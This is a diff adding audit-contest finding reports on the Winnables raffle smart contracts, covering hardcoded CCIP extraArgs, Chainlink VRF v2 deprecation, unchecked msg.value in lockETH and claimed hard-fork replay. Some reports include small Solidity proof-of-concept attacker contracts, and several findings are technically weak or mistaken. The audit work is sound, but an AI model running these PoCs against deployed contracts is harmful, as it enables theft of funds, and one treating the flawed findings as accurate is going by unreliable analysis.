+```solidity + if (raffle.status != RaffleStatus.REQUESTED) revert RequestNotFound(requestId); +``` +In case the `if ` statement returns true, which will occur in the case when `raffle.status != RaffleStatus.REQUESTED` then the function wil revert. Which is not desireable according to the guidelines by Chainlink VRF. + +## Impact +The function is not as per guidelines provided by chainlink can give undesirable results. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L347-L361 + +## Tool used + +Manual Review + +## Recommendation +Update the logic such so that there is no revert statement present in the function and follow the guidelines by Chainlink. diff --git a/009.md b/009.md new file mode 100644 index 0000000..65d892f --- /dev/null +++ b/009.md @@ -0,0 +1,74 @@ +Sour Denim Alpaca + +High + +# Race Condition in Prize Claiming at WinnablesPrizeManager contract + +### Summary + +Line: https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105 + + The claimPrize function does not lock the prize before transferring it, which could potentially allow a race condition where multiple transactions try to claim the same prize. + +### Root Cause + +Race condition + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + + If exploited, this could lead to multiple claims of the same prize, resulting in unauthorized distribution of funds or assets. + +### PoC + +Testing Contract + +```solidity + +pragma solidity 0.8.24; + +import "./WinnablesPrizeManager.sol"; + +contract RaceConditionTester { + WinnablesPrizeManager public target; + uint256 public raffleId; + + constructor(WinnablesPrizeManager _target, uint256 _raffleId) { + target = _target; + raffleId = _raffleId; + } + + // Simulate multiple users claiming the prize at the same time + function simulateRaceCondition() external { + // Call claimPrize in a loop to simulate concurrent transactions + // In a real attack, this would be done by multiple users or bots + target.claimPrize(raffleId); + target.claimPrize(raffleId); + } + + // Fallback function to receive ETH + receive() external payable {} +} + +``` + Testing the Race Condition +Deploy the WinnablesPrizeManager contract. +Fund the WinnablesPrizeManager contract with ETH using depositETH. +Set a raffle using setRaffle with an ETH prize. +Deploy the RaceConditionTester contract with the address of the WinnablesPrizeManager contract and the raffleId. +Call the simulateRaceCondition function on the RaceConditionTester contract. + +### Mitigation + +To prevent race conditions, consider implementing a locking mechanism to ensure that only one transaction can access the critical section (the prize claiming logic) at a time: \ No newline at end of file diff --git a/009/131.md b/009/131.md new file mode 100644 index 0000000..bbe3f57 --- /dev/null +++ b/009/131.md @@ -0,0 +1,59 @@ +Prehistoric Metal Rabbit + +Medium + +# Hardcoded `extraArgs` in CCIP message send + +### Summary + +Hardcoded `extraArgs` may brick CCIP message sending in CCIP upgrades. + +### Root Cause + +Per the Chainlink docs: + +> Do not hardcode `extraArgs`: To simplify the example, `extraArgs` are hardcoded in the contract. The recommendation is to make sure `extraArgs` is mutable. For example, you can build `extraArgs` offchain and pass it in your functions call or store it in a storage variable that you can update on demand. Thus, you can make sure `extraArgs` remains backward compatible for future CCIP upgrades. + +In `BaseCCIPSender`, `extraArgs` is hardcoded when sendings messages: + +```solidity +Client.EVM2AnyMessage memory message = Client.EVM2AnyMessage({ + receiver: abi.encode(ccipDestAddress), + data: data, + tokenAmounts: new Client.EVMTokenAmount[](0), + extraArgs: "", // @audits hardcoded + feeToken: LINK_TOKEN +}); +``` + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPSender.sol#L32 + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Throughout the codebase, multiple functionalities use CCIP send: +- When locking prizes for a raffle: https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L163 +- When cancelling a raffle: https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L282 +- When propagating the winner to Mainnet: https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L340 + +CCIP upgrades may brick the protocol altogether. This was warned in the Chainlink docs **as of currently**. + +### PoC + +_No response_ + +### Mitigation + +`extraArgs` should be mutable and settable by the admin. \ No newline at end of file diff --git a/009/416.md b/009/416.md new file mode 100644 index 0000000..99c3ddd --- /dev/null +++ b/009/416.md @@ -0,0 +1,53 @@ +Huge Fossilized Turtle + +Medium + +# CCIP upgrade will DoS sending messages making prizes and `ETH` stuck + +### Summary + +[BaseCCIPSender::_sendCCIPMessage()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPSender.sol#L32) forwards an empty `extraArgs` to the router, which is will not be compatible with a CCIP upgrade and will lead to stuck prizes and `ETH`, as [WinnablesTicketManager::cancelRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278) and [WinnablesTicketManager::propagateRaffleWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334) will revert when sending the message, which is [unacceptable](https://github.com/sherlock-audit/2024-08-winnables-raffles-0xsimao/tree/main?tab=readme-ov-file#q-please-discuss-any-design-choices-you-made): +> Participants in a raffle that got cancelled can always get refunded + +### Root Cause + +In `BaseCCIPSender:32` `extraArgs` is null. [Check](https://docs.chain.link/ccip/getting-started#sending-data) the best practices to confirm Chainlink may upgrade and DoS the `Winnables` contracts. + +### Internal pre-conditions + +None. + +### External pre-conditions + +1. CCIP upgrade. + +### Attack Path + +1. A raffle is canceled or a winner is drawn. +2. `WinnablesTicketManager::cancelRaffle()` and `WinnablesTicketManager::propagateRaffleWinner()` revert, leading to stuck prizes and `ETH`. + +### Impact + +Stuck prizes and ETH. + +### PoC + +```solidity +function _sendCCIPMessage( + ... +) internal returns(bytes32 messageId) { + ... + Client.EVM2AnyMessage memory message = Client.EVM2AnyMessage({ + receiver: abi.encode(ccipDestAddress), + data: data, + tokenAmounts: new Client.EVMTokenAmount[](0), + extraArgs: "", + feeToken: LINK_TOKEN + }); + ... +} +``` + +### Mitigation + +Set a mutable `extraArgs` argument that can be changed by the admin with a timelock. \ No newline at end of file diff --git a/009/483.md b/009/483.md new file mode 100644 index 0000000..39d87af --- /dev/null +++ b/009/483.md @@ -0,0 +1,38 @@ +Warm Purple Baboon + +Medium + +# hardcoded `extraArgs` will affect the `BaseCCIPSender` if there are future CCIP upgrades + +### Summary +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPSender.sol#L32 + +The purpose of extraArgs is to allow compatibility with future CCIP upgrades. when this argument is hardcoded, future changes to ccip might break the `BaseCCIPSender` functionality. + +### Root Cause + +in `BaseCCIPSender.sol:32` extraArgs is hardcoded. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +future changes to CCIP will break `BaseCCIPSender` functionality + +### PoC + +_No response_ + +### Mitigation + +Make sure that extraArgs is mutable during production deployments. This allows you to build it off-chain and pass it in a call to a function or store it in a variable you can update on-demand. Make sure that extraArgs is mutable during \ No newline at end of file diff --git a/009/574.md b/009/574.md new file mode 100644 index 0000000..62112ba --- /dev/null +++ b/009/574.md @@ -0,0 +1,90 @@ +Dandy Cornflower Swift + +Medium + +# hardcode empty `extraArgs` argument value in `BaseCCipSender.sol` contract + +## Summary +hardcode empty `extraArgs` argument value in `BaseCCipSender.sol` contract + +## Vulnerability Detail +the chainlink CCIP documents specifies in documentation that `extraArgs` MUST not be hardcoded to behave accordingly + +> **Do not hardcode extraArgs** +>To simplify this example, extraArgs are hardcoded in the contract. For production deployments, make sure that extraArgs >is mutable. This allows you to build it offchain and pass it in a call to a function or store it in a variable that you > can update on-demand. This makes extraArgs compatible with future CCIP upgrades. + +and + +> The extraArgs specifies the gasLimit for relaying the message to the recipient contract on the destination blockchain. In this example, the gasLimit is set to 0 because the contract only transfers tokens and does not expect function calls on the destination blockchain. + + +and if we look at `extraArgs` argument value in `BaseCCipSender.sol` + +```solidity + Client.EVM2AnyMessage memory message = Client.EVM2AnyMessage({ + receiver: abi.encode(ccipDestAddress), + data: data, + tokenAmounts: new Client.EVMTokenAmount[](0), + extraArgs: "", + feeToken: LINK_TOKEN + }); +``` + +`extraArgs: "",` is hardcode and empty + +as later i talked with the sponsor, he told "when we were on 1.0 they said "The documentation says to have the CCIP Router as immutable but we recommend you make it mutable because it might change", then when they migrated to 1.2 they told us "now you can make it immutable because it won't change +hahah" + +usually, users fill in the EVMExtraArgsV1 struct and then encode it to bytes using the _argsToBytes function but the point here not that point is that argument being hardcoded which is prohibited by chainlink team + +## Impact +will cause misbehaves in service in upgrades of the chainlink CCIP and not being able to pass it off-chain both due to being hardcoded +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/BaseCCIPSender.sol#L32 +```solidity + +function _sendCCIPMessage( + address ccipDestAddress, + uint64 ccipDestChainSelector, + bytes memory data + ) internal returns(bytes32 messageId) { + if (ccipDestAddress == address(0) || ccipDestChainSelector == uint64(0)) { + revert MissingCCIPParams(); + } + + // Send CCIP message to the desitnation contract + IRouterClient router = IRouterClient(CCIP_ROUTER); + LinkTokenInterface linkToken = LinkTokenInterface(LINK_TOKEN); + + Client.EVM2AnyMessage memory message = Client.EVM2AnyMessage({ + receiver: abi.encode(ccipDestAddress), + data: data, + tokenAmounts: new Client.EVMTokenAmount[](0), + extraArgs: "", + feeToken: LINK_TOKEN + }); + + uint256 fee = router.getFee( + ccipDestChainSelector, + message + ); + uint256 currentLinkBalance = linkToken.balanceOf(address(this)); + + if (fee > currentLinkBalance) { + revert InsufficientLinkBalance(currentLinkBalance, fee); + } + + messageId = router.ccipSend( + ccipDestChainSelector, + message + ); + } +``` +## Tool used + +Manual Review + +## Recommendation + +- consider modifying this `extraArgs`: to the point its not hardcoded and always gets input to act accordingly +- chainlink [ref](https://docs.chain.link/ccip/tutorials/cross-chain-tokens#transferring-tokens-and-pay-in-native) \ No newline at end of file diff --git a/010.md b/010.md new file mode 100644 index 0000000..fd14cc0 --- /dev/null +++ b/010.md @@ -0,0 +1,84 @@ +Sour Denim Alpaca + +High + +# No Check for Duplicate raffleId at WinnablesPrizeManager contract + +### Summary + +Line: https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L178 + +If the raffleId is not unique, calling this function multiple times with the same raffleId could lead to overwriting the existing raffle prize. This could cause confusion or even allow a malicious user to manipulate the raffle system by changing the locked ETH amount for a previously set raffle. + +### Root Cause + +Duplicate raffleID check missing. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +This could cause confusion or even allow a malicious user to manipulate the raffle system by changing the locked ETH amount for a previously set raffle. + +### PoC + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity 0.8.24; + +import "./WinnablesPrizeManager.sol"; // Import the vulnerable contract + +contract PoCAttacker { + WinnablesPrizeManager public targetContract; + + constructor(address _targetAddress) { + targetContract = WinnablesPrizeManager(_targetAddress); + } + + // Function to perform the attack by calling lockETH multiple times with the same raffleId + function attack(uint256 raffleId, uint256 firstAmount, uint256 secondAmount) external payable { + require(msg.value == firstAmount + secondAmount, "Insufficient ETH sent"); + + // First call to lockETH with the raffleId + targetContract.lockETH{value: firstAmount}(address(this), 1, raffleId, firstAmount); + + // Second call to lockETH with the same raffleId, overwriting the first locked amount + targetContract.lockETH{value: secondAmount}(address(this), 1, raffleId, secondAmount); + } + + // Fallback function to receive ETH if needed + receive() external payable {} +} +``` +Vulnerable Contract Reference: The PoC imports the WinnablesPrizeManager contract (the vulnerable contract). This allows the PoC to interact directly with the vulnerable lockETH function. + +**attack Function:** + +The attack function is designed to call the lockETH function on the target contract twice with the same raffleId. +It accepts the raffleId, firstAmount, and secondAmount as parameters. It also requires that the caller sends enough ETH to cover both amounts. +The first call to lockETH locks an initial amount of ETH with the given raffleId. +The second call to lockETH uses the same raffleId but locks a different amount, effectively overwriting the previous ETH lock. +**Demonstration:** + +Deploy the WinnablesPrizeManager contract. +Deploy this PoC contract, passing the address of the WinnablesPrizeManager contract to the constructor. +Call the attack function with a specific raffleId and two different ETH amounts. +Observe that the second call overwrites the ETH locked for the raffleId in the vulnerable contract. + +**Expected Outcome:** +After running this PoC, you should see that the _ethRaffles mapping for the given raffleId in the WinnablesPrizeManager contract only contains the secondAmount, demonstrating that the first locked amount was overwritten by the second call. +This PoC highlights the vulnerability in allowing multiple lockETH calls with the same raffleId, which could be exploited by an attacker to manipulate the locked ETH amounts. + +### Mitigation + +Implement a check to ensure that the raffleId has not been used before to avoid overwriting existing raffle prizes. \ No newline at end of file diff --git a/010/174.md b/010/174.md new file mode 100644 index 0000000..271fc0a --- /dev/null +++ b/010/174.md @@ -0,0 +1,51 @@ +Silly Burgundy Scallop + +Medium + +# Chainlink VRF 2.0 is deprecated + +## Summary + +According to the Chainlink developers, VRF v2.0 will soon be deprecated and won’t be available to be used, making the `Winnables` protocol non-functional. + +https://discord.com/channels/592041321326182401/722867054197080136/1250260870878068738 + +![Screenshot 2024-08-18 at 11.51.17 PM.png](https://i.imgur.com/1PoOIsK.png) + +## Vulnerability Detail + +There are few important modifications from v2.5 compared to v2.0 that will make the protocol non-compliant with the new VRF architecture: + +- `subscriptionId` is now of type uint256, instead of `uint64` +- `requestRandomWords` now expect struct `RandomWordsRequest` and has one additional parameter `extraArgs`, that entirely changes the signature of the function. + +The second change is most significant and it will prevent the protocol from drawing raffle winners. + +Here are some evidences that the v2.0 will be deprecated and all the protocols should migrate to v2.5: + +1. In Chainlink’s website there is only information about `VRF` v2.5 - https://docs.chain.link/vrf/v2-5/supported-networks#avalanche-mainnet +2. Chainlink devs advise to have way to upgrade the RNG provider, which is also lacking in the `Winnables` - https://discord.com/channels/592041321326182401/722867054197080136/1212405083741098004 + + ![Screenshot 2024-08-19 at 12.02.01 AM.png](https://i.imgur.com/J42pZko.png) + +3. V1 which also has been deprecated is entirely removed and can be used at all - https://discord.com/channels/592041321326182401/605768708266131456/1170984140447948820 +4. The final date of deprecation for V2 is November 29, 2024, confirmed - https://discord.com/channels/592041321326182401/722867054197080136/1274768576582123611 + + ![Screenshot 2024-08-19 at 12.05.28 AM.png](https://i.imgur.com/Aml0x99.png) + + +## Impact + +`WinnablesTicketManager` will become non-functional when v2.0 is deprecated, preventing raffles from being settled, drawing winners and unlocking the rewards in `WinnablesPriceManager` + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L315-L321 + +## Tool used + +Manual Review + +## Recommendation + +Migrate to v2.5 to ensure proper compatibility with the latest Chainlink contracts. \ No newline at end of file diff --git a/010/202.md b/010/202.md new file mode 100644 index 0000000..576523c --- /dev/null +++ b/010/202.md @@ -0,0 +1,33 @@ +Delightful Inky Panda + +Medium + +# protocol cannot gracefully migrate to Chainlink VRF v2.5 + +## Summary + +According to Chainlink, VRF v2 will be deprecated on November 29, 2024, current protocol would be completely useless after the date. + +## Vulnerability Detail + +Accoring to Chainlink, new request format and new consumer interface is needed: + +https://docs.chain.link/vrf/v2-5/migration-from-v2#new-request-format + +But current protocol only inherits old VRF v2 inteface. + +## Impact + +Protocol will be useless after November 29, 2024. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L9 + +## Tool used + +Manual Review + +## Recommendation + +It might be possible to extract the VRF consumer logic independently into one new contract to avoid updates that would cause the whole system to need to be redeployed. \ No newline at end of file diff --git a/010/316.md b/010/316.md new file mode 100644 index 0000000..a6fa170 --- /dev/null +++ b/010/316.md @@ -0,0 +1,39 @@ +Dry Arctic Hawk + +Medium + +# Chainlink VRF V2.0 would soon be deprecated. + +### Summary + +Chainlink VRF 2.0 would soon be deprecated according to their [Official Website](https://docs.chain.link/vrf/release-notes). + +### Root Cause +Integrating with deprecated protocols in software development is considered bad practice. It would be advisable to integrate with their latest release. + +##Afftected Contracts +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L18 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +It would be preferable to integrate winnable's protocol with their latest release \ No newline at end of file diff --git a/011/211.md b/011/211.md new file mode 100644 index 0000000..2f874fc --- /dev/null +++ b/011/211.md @@ -0,0 +1,103 @@ +Scrawny Gauze Cougar + +Medium + +# Incorrect locking of Native tokens can result in DOS + +### Summary + +`WinnablesPrizeManager::lockETH(...)` accepts amount as a parameter to the function, which is accounted as the amount of Eth tokens locked in the contract. But, the actual movement of eth tokens is via `payable` operator attached to the function. Due to this, user can specify 5 Eth as amount being locked, while passing 1 eth in msg.value as an example. Infact, msg.value can be passed as 0 as well. + +As the contract tracks the balance for the user based on amount passed as parameter, this could result in DOS when calling `withdrawETH(...)` function because the actual balance in the contract will be lower than the tracked balance. + + + +### Root Cause + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L172-L188 + +`lockETH(...)` function accepts Ether via the payable operator. The amount of Eth token accepted by the function is represented by `msg.value` in the context of the call. The function also accepts `amount` as a parameter which is currently being used for accounting the amount of ether locked. + +If the user passes 5 ether as amount, while transferring only 1 ether in msg.value. The accounting of the system will register 5 ether as received ether. + + +### Internal pre-conditions + +1. The Raffle id is valid in the system to lock Ether. +2. Attacker has 1 Ether in the account and calls `lockETH(...)` function with amount as 5 ether. +```solidity + function lockETH( + address ticketManager, + uint64 chainSelector, + uint256 raffleId, + uint256 amount + ) external payable onlyRole(0) { + RafflePrize storage rafflePrize = _checkValidRaffle(raffleId); + uint256 ethBalance = address(this).balance; + + if (ethBalance < amount + _ethLocked) revert InvalidPrize(); + rafflePrize.raffleType = RaffleType.ETH; + ==> _ethLocked += amount; // @audit 5 Ether is accounted as received in global state + ==> _ethRaffles[raffleId] = amount; // @audit 5 Ether is accounted as received against the raffle. + + _sendCCIPMessage(ticketManager, chainSelector, abi.encodePacked(raffleId)); + emit ETHPrizeLocked(raffleId, amount); + } +``` + +3. Post the call, _ethLocked is 5 Ether and _ethRaffles[raffleId] is also 5 Ether + +### External pre-conditions + +1. The attacker has 1 Ether to initiate the transaction + + +### Attack Path + +1. Admin calls `lockETH()` with 5 Ether in Amount as parameter, while sending 1 Ether in msg.value +2. Admin calls `withdrawETH()` which will result in revert due to underflow as `_ethLocked` will be greater than `balance`. + +```solidity + function withdrawETH(uint256 amount) external onlyRole(0) { + uint256 balance = address(this).balance; + uint256 availableBalance; +-> unchecked { availableBalance = balance - _ethLocked; } // @audit, this line will result in revert + if (availableBalance < amount) revert InsufficientBalance(); + (bool success,) = msg.sender.call{ value: amount }(""); + if (!success) revert ETHTransferFail(); + } +``` + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +In the `lockETH(...)`, ensure that parameter `amount` is equal to `msg.value` during the execution of the function. + + +```solidity + function lockETH( + address ticketManager, + uint64 chainSelector, + uint256 raffleId, + uint256 amount + ) external payable onlyRole(0) { ++ require(msg.value == amount, "ether sent did not match"); + RafflePrize storage rafflePrize = _checkValidRaffle(raffleId); + uint256 ethBalance = address(this).balance; + + if (ethBalance < amount + _ethLocked) revert InvalidPrize(); + rafflePrize.raffleType = RaffleType.ETH; + _ethLocked += amount; + _ethRaffles[raffleId] = amount; + + _sendCCIPMessage(ticketManager, chainSelector, abi.encodePacked(raffleId)); + emit ETHPrizeLocked(raffleId, amount); + } +``` \ No newline at end of file diff --git a/011/247.md b/011/247.md new file mode 100644 index 0000000..8c3a062 --- /dev/null +++ b/011/247.md @@ -0,0 +1,55 @@ +Brief Champagne Tuna + +Medium + +# When `lockETH` is called the amount can differ from the actual ETH send + +## Summary + +The `lockETH` function in `WinnablesPrizeManager` contract allows the admin to lock a specified amount of ETH as a prize for a raffle. However, the function does not valiadte that the amount of ETH sent with the transaction matches the `amount` parameter specified in the function call. + +## Vulnerability Detail + +The `amount` parameter that represents the amount of ETH intended to be locked as a prize may not equal the actual sended amount. As a result, the function allows transactions where the amount of ETH sent may differ from the amount specified. + +For example if the `amount` parameter is less than the actual `msg.value`, `_ethLocked` will differ from the actual balance of the contract, allowing the admin to withdraw the difference through `withdrawETH` function. +## Impact + +Unintended access to contract funds. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L172-#188 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L238-#L245 + +## Tool used + +Manual Review + +## Recommendation +Ensure the `msg.value` equals the `amount` specified: +```diff + /// @notice (Admin) Send the prize for a Raffle to its rightful winner + /// @param ticketManager Address of the Ticket Manager on the remote chain + /// @param chainSelector CCIP Chain selector of the remote chain + /// @param raffleId ID of the Raffle that will be associated + /// @param amount Amount of ETH to lock as a prize + function lockETH( + address ticketManager, + uint64 chainSelector, + uint256 raffleId, + uint256 amount + ) external payable onlyRole(0) { + RafflePrize storage rafflePrize = _checkValidRaffle(raffleId); + uint256 ethBalance = address(this).balance; ++ require(msg.value == amount, "Not equal"); + if (ethBalance < amount + _ethLocked) revert InvalidPrize(); + rafflePrize.raffleType = RaffleType.ETH; + _ethLocked += amount; + _ethRaffles[raffleId] = amount; + + _sendCCIPMessage(ticketManager, chainSelector, abi.encodePacked(raffleId)); + emit ETHPrizeLocked(raffleId, amount); + } +``` \ No newline at end of file diff --git a/011/536.md b/011/536.md new file mode 100644 index 0000000..4590d5b --- /dev/null +++ b/011/536.md @@ -0,0 +1,63 @@ +Brave Mahogany Lizard + +Medium + +# `WinnablesPrizeManager::lockETH` function is marked payable but `msg.value` is not handled, eth can get locked. + +## Summary +`WinnablesPrizeManager::lockETH` function is marked payable but `msg.value` is not handled, eth can get locked. + +## Vulnerability Detail +The `WinnablesPrizeManager::lockETH` function: +```solidity + /// @notice (Admin) Send the prize for a Raffle to its rightful winner + /// @param ticketManager Address of the Ticket Manager on the remote chain + /// @param chainSelector CCIP Chain selector of the remote chain + /// @param raffleId ID of the Raffle that will be associated + /// @param amount Amount of ETH to lock as a prize + function lockETH( + address ticketManager, + uint64 chainSelector, + uint256 raffleId, + uint256 amount + ) external payable onlyRole(0) { + //@audit the function is marked payable but there's no handling of `msg.value` + RafflePrize storage rafflePrize = _checkValidRaffle(raffleId); + uint256 ethBalance = address(this).balance; + + if (ethBalance < amount + _ethLocked) revert InvalidPrize();/ + rafflePrize.raffleType = RaffleType.ETH; + _ethLocked += amount; + _ethRaffles[raffleId] = amount; + + _sendCCIPMessage(ticketManager, chainSelector, abi.encodePacked(raffleId)); + emit ETHPrizeLocked(raffleId, amount); + } +``` +Although this function is marked with `onlyRole(0)` modifier which means only admin can access this function. But if accidentally the admin sends funds to this function it will get locked as `msg.value` is not handled. + +According to the comments of the function - +```solidity + /// @notice (Admin) Send the prize for a Raffle to its rightful winner +``` +The function is expected to send the prize to the winner by the admin. +**My assumption** : The reason I understand for marking this function as payable can be : +admin will call the function with the required fund won by the winner and send them, then there should be handling of `msg.value` + +In input parameters `uint256 amount` which is `/// @param amount Amount of ETH to lock as a prize` +Hence, if my assumption above is correct then `amount` should be equal to `msg.value` otherwise `amount` and `msg.value` can be different as there is no check to prevent that. + +## Impact +1. Eth send to this function can get locked +2. If my assumption is correct then, amount can be different from `msg.value` but still eth will get locked + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L172-L188 + +## Tool used + +Manual Review + +## Recommendation +Either remove the `payable` keyword from the function or handle `msg.value` accordingly. +If the assumption is correct, then assign `amount=msg.value` diff --git a/012.md b/012.md new file mode 100644 index 0000000..7e2be1b --- /dev/null +++ b/012.md @@ -0,0 +1,117 @@ +Sour Denim Alpaca + +Medium + +# All gas can be exhausted by calling buyTickets with invalid role. repeatedly + +### Summary + +Line: https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L448 + +Poc provided below to demonstrate the effect of invalid role checks leading to a potential DoS (Denial of Service) by consuming excessive gas. + +### Root Cause + +_No response_ + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +All gas allocated to the transaction can be exhausted. + +### PoC + +```solidity +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.24; + +import "@openzeppelin/contracts/access/Ownable.sol"; +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; + +contract GasExhaustion is Ownable { + using ECDSA for bytes32; + + uint256 public constant ROLE_INVALID = 1; // Example role constant for invalid role + + // Assume this function checks the role of the signer + function _checkPurchaseSig( + uint256 raffleId, + uint16 ticketCount, + uint256 blockNumber, + bytes calldata signature + ) internal view { + address signer = _getSigner( + keccak256( + abi.encodePacked( + msg.sender, 0, raffleId, ticketCount, blockNumber, msg.value + ) + ), signature + ); + + if (!_hasRole(signer, ROLE_INVALID)) { + revert("Unauthorized"); + } + } + + // Mock role check function + function _hasRole(address account, uint256 role) internal pure returns (bool) { + return role == ROLE_INVALID ? false : true; + } + + // Mock signature verification + function _getSigner(bytes32 message, bytes calldata signature) internal pure returns (address) { + return message.toEthSignedMessageHash().recover(signature); + } + + // Function to simulate buying tickets, calling _checkPurchaseSig internally + function buyTickets( + uint256 raffleId, + uint16 ticketCount, + uint256 blockNumber, + bytes calldata signature + ) external payable { + _checkPurchaseSig(raffleId, ticketCount, blockNumber, signature); + // Additional logic for purchasing tickets could be here + } + + // Function to exhaust gas by repeatedly calling buyTickets + function exhaustGas( + uint256 raffleId, + uint16 ticketCount, + uint256 blockNumber, + bytes calldata signature, + uint256 iterations + ) external payable { + for (uint256 i = 0; i < iterations; i++) { + buyTickets(raffleId, ticketCount, blockNumber, signature); + } + } +} +``` +**Explanation** +Contract Structure: + +_checkPurchaseSig: Checks if the signer has a valid role. If the role is invalid, it reverts. +_hasRole: Returns false if the role is invalid, simulating the case where the role check fails. +buyTickets: Calls _checkPurchaseSig to validate the role before proceeding (dummy logic for buying tickets is included as a placeholder). +Gas Exhaustion Function: + +exhaustGas: Calls buyTickets repeatedly with a specified number of iterations to exhaust gas. This simulates the case where each call reverts due to an invalid role, causing the transaction to consume gas. +**Testing** +Deploy Contract: Deploy the GasExhaustion contract to a test network. +Call exhaustGas: Use a test account to call exhaustGas with a high number of iterations to test gas exhaustion. For example, you might start with iterations = 1,000 and increase as needed. + +### Mitigation + + Ensure that in a real-world scenario, your contract includes proper access controls and safeguards to avoid vulnerabilities. \ No newline at end of file diff --git a/012/215.md b/012/215.md new file mode 100644 index 0000000..e3a0f3a --- /dev/null +++ b/012/215.md @@ -0,0 +1,22 @@ +Tart Clay Hippo + +High + +# WinnablesPrizeManager.sol#claimPrize - User can double-claim the reward if a hard fork occurs + +## Summary +User can double-claim the reward if a hard fork occurs + +## Vulnerability Detail +If a hard fork occurs on the Ethereum Mainnet, the user can get his reward on both forked chains. This happens because there is no validation on the `chainId` and when a user is a winner nothing stops him from calling `claimPrize` on the old chain and the new forked one. Although he should receive his reward once, he will double-claim it. + +## Impact +User can double-claim the reward +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124 +## Tool used + +Manual Review + +## Recommendation +Cash the `chainId` in the constructor and check if the current `chainId` equals the cashed one inside `claimPrize`. \ No newline at end of file diff --git a/012/584.md b/012/584.md new file mode 100644 index 0000000..ab524d4 --- /dev/null +++ b/012/584.md @@ -0,0 +1,27 @@ +Tart Clay Hippo + +High + +# WinnablesTicketManager.col#buyTickets - Tickets buy logis is susceptible to signature replay attacks in the case of a hard fork + +## Summary +Tickets buy logis is susceptible to signature replay attacks in the case of a hard fork +## Vulnerability Detail +When users buy tickets, they send `msg.value` to the `buyTickets` function. The function has `signature` param that is used to ensure the user is allowed to buy the tickets with the price he sends. + +The problem arises if a hard fork occurs on the Avalanche because there is a possibility for a signature replay attack. A signature replay attack on the forked chain means that any signed permit given to an address on one of the chains can be re-used on the other. + +So, once a user has a permit to call `buyTickets`, he can use his permit on the new forked chain and buy tickets with an already used permit. + +## Impact +Possibility for a signature replay attack. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L182-L210 + +## Tool used + +Manual Review + +## Recommendation +Cache the `chainId` on contract creation and check if the current chainId equals the cashed one inside `buyTickets`. \ No newline at end of file diff --git a/012/592.md b/012/592.md new file mode 100644 index 0000000..a379b94 --- /dev/null +++ b/012/592.md @@ -0,0 +1,24 @@ +Uneven Violet Snail + +High + +# WinnablesPrizeManager.sol is susceptible to signature replay attacks in the case of a hard fork + +## Summary +In the case of a hard fork, all signed permits from Ethereum mainnet can be replayed on the forked chain. + +## Vulnerability Detail +The issue revolves around the potential for a user to double-claim a reward by claimPrize() function, if a hard fork occurs on the Ethereum Mainnet. A hard fork splits the blockchain into two separate chains, each with its own state and history. If a user is entitled to claim a prize, they can potentially do so on both chains, if the smart contract does not enforce validation on the chainId. + +## Impact +Users can exploit the system and receive rewards twice, which they are not entitled to + +## Code Snippet 